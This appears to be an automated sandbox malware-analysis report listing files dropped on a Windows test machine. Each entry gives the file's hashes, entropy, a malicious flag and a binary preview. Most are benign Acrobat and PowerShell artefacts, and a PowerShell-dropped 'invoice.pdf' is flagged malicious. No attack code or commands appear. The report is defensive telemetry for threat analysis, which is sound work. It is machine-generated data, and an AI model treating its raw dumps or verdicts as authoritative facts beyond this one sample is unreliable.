Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ac6c379ab7b1d4d53f0d12970a07f358","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534043000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6d6843a9fd139596cccec33cea8da047","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534042000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5d9ea207468d87ed36105289afca9353","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534042000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"66109b8fda9295b98c3be98dacaf06c7","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534042000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0535c6bb196e378ba6f6b65122a9e7ad","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534042000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"41db7d45cfe674594ca25722c2fcddc6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3672473647990966
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuCXKdqEKfS8EKfM1ba6F:Tll2GL7msMcKTlS8fcsuZfIK
MD5:	EEA00A5FC5572B39953B05E8DDBE2A86
SHA1:	5720E4258BD67F2708007637B535701126B70D40
SHA-256:	28C94CE680DD0F26E561F69D4CE90B1E4BB8C042AE5EA3592A73A7B020C78428
SHA-512:	FD9252CA9F0D87962D880D8CB545F4D0D6B4EF2EB27404CDF3D9A2007EF7C723BEB8DD2DECE5BCB6E67306CC7BDF7D00A2A7C10515113EDA3E45ED446F2933BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.843196342951247
Encrypted:	false
SSDEEP:	24:7+t0aZ6bqyKn6ylSTofcNqDuC+KdqEKfS8EKfM1banbqwqLKufx/XYKQvGJF7urH:7M0AcKTlS8fcsuYfI5qGufl2GL7msin
MD5:	B1D4005DA082D3EB65B077636465BC9E
SHA1:	070A402B66302EA9F203BA5076B4BBDE28CE4275
SHA-256:	09AFBA6E8F1D8C6AD56D7E93B9988E7750E29708B46A67663D43C0AE1DCEE0EE
SHA-512:	10F936E352D89FCC86C1DF9BE2C52399E79E95DDB360DF2D62FEA416C41C26794675D213D881E0A12E21DCE13066E2E292E9709B92E16BCD442D9330E3E2EC9E
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgoen1R/q2k12hO3buaO0M8b3TlQYyu:6a6TZ44ADEoen1tq5chOxb3pQK
MD5:	4C5B546B62654F530179A0E3C3168792
SHA1:	2C096A4DA682303F072C2DA1AF623C50653FC946
SHA-256:	0A2BACF17BA9941A4E3C94079840200DEC49CC03004FA6F9222352713938E8C7
SHA-512:	55A43708688983EC4F67F37BFE9179FBA7AF637ED3A3FCCD9200578B81CB5E2360F257F4280E2F22FAF3CF663794F435C79E620B7A9AB58550F69B5527EE6D62
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbcc31.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErEwCH:Qw946cPbiOxDlbYnuRK+bDIl
MD5:	0208574DE4FAABCBA40B53F0B17266A9
SHA1:	8086DB095B1D7ABE3B3CE211778C25B5DA665E7E
SHA-256:	A360B30F12F85290A27B735FA6B9F9DADCA646CA004BAE29FDF1C7DAE12408D7
SHA-512:	51425569FF935DDC3DA41B1F9FE7799027662DAE493CCC47C85D0A7DB5466D7F5C4988378FEC565B6374DF841510BBE0D7496B58888420CB72779BCC4123F047
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.4.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mkzbdye.qty.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bhn2b4rz.t3h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91d6qk6f_p4ihax_5no.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ur56m7_p4ihb1_5no.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-33-57-667.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362756353533839
Encrypted:	false
SSDEEP:	384:CDhBqYf1SH0hcKQQvU/V0V/7t7pUgUUUzU6/5O2J2p2nGl3O3t8J8f8n8388j5j0:ATu+FRFzT07oGSUY+dIKioHdpK
MD5:	26210B6473E4B174C07F2951B3830F19
SHA1:	05EC6C026D5AA8D50794EEC543F8D2F38B2F6B67
SHA-256:	EA5304BF55D8C3CA66B01C971D4E7AD8E4D2CCC8BDEB47DB18E09DD6EDD3EA97
SHA-512:	7CCD3E33D69C451939627F38C4CE663A1D5E40947720F19A451F4DD6A2C649E7A4AE180DCB9C1661AD3B4A6A545A93B42846779D32B1C75F4CE6CE72B193A49C
Malicious:	false
Preview:	SessionID=28fc5252-c306-41ca-84fe-317809259a6f.1736534037682 Timestamp=2025-01-10T13:33:57:682-0500 ThreadID=7384 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=28fc5252-c306-41ca-84fe-317809259a6f.1736534037682 Timestamp=2025-01-10T13:33:57:693-0500 ThreadID=7384 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=28fc5252-c306-41ca-84fe-317809259a6f.1736534037682 Timestamp=2025-01-10T13:33:57:693-0500 ThreadID=7384 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=28fc5252-c306-41ca-84fe-317809259a6f.1736534037682 Timestamp=2025-01-10T13:33:57:694-0500 ThreadID=7384 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=28fc5252-c306-41ca-84fe-317809259a6f.1736534037682 Timestamp=2025-01-10T13:33:57:694-0500 ThreadID=7384 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.381035054032223
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmBMcbKI3Bcbh:8qnXopZ50rdV3u
MD5:	3AABC1F723AB22944C2B1EBA491E860E
SHA1:	4AC4B67D86A0950250C16460C35E53583020B7F6
SHA-256:	621C5678DC3CC96EE1BDA032902ADD0F8D741CAEB87F8C2AC357B428E0F09678
SHA-512:	7850C4E0695440E1942F43CB043CBBA896B201801E3B4BBEF21A42061E98DC9A86F97A0CF468389DFD180E18BBD1EAD3D8120AEA68A2AFAF9EF878BA333C34B3
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0001cb79-1442-4bf0-b9be-c911a5d47942.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\371a1c4c-bdab-445d-bc26-78fc620bafd9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a159b637-9e46-44a5-ae7c-fbeffd749f9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e9fab013-3db0-4913-9508-f05beda11240.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
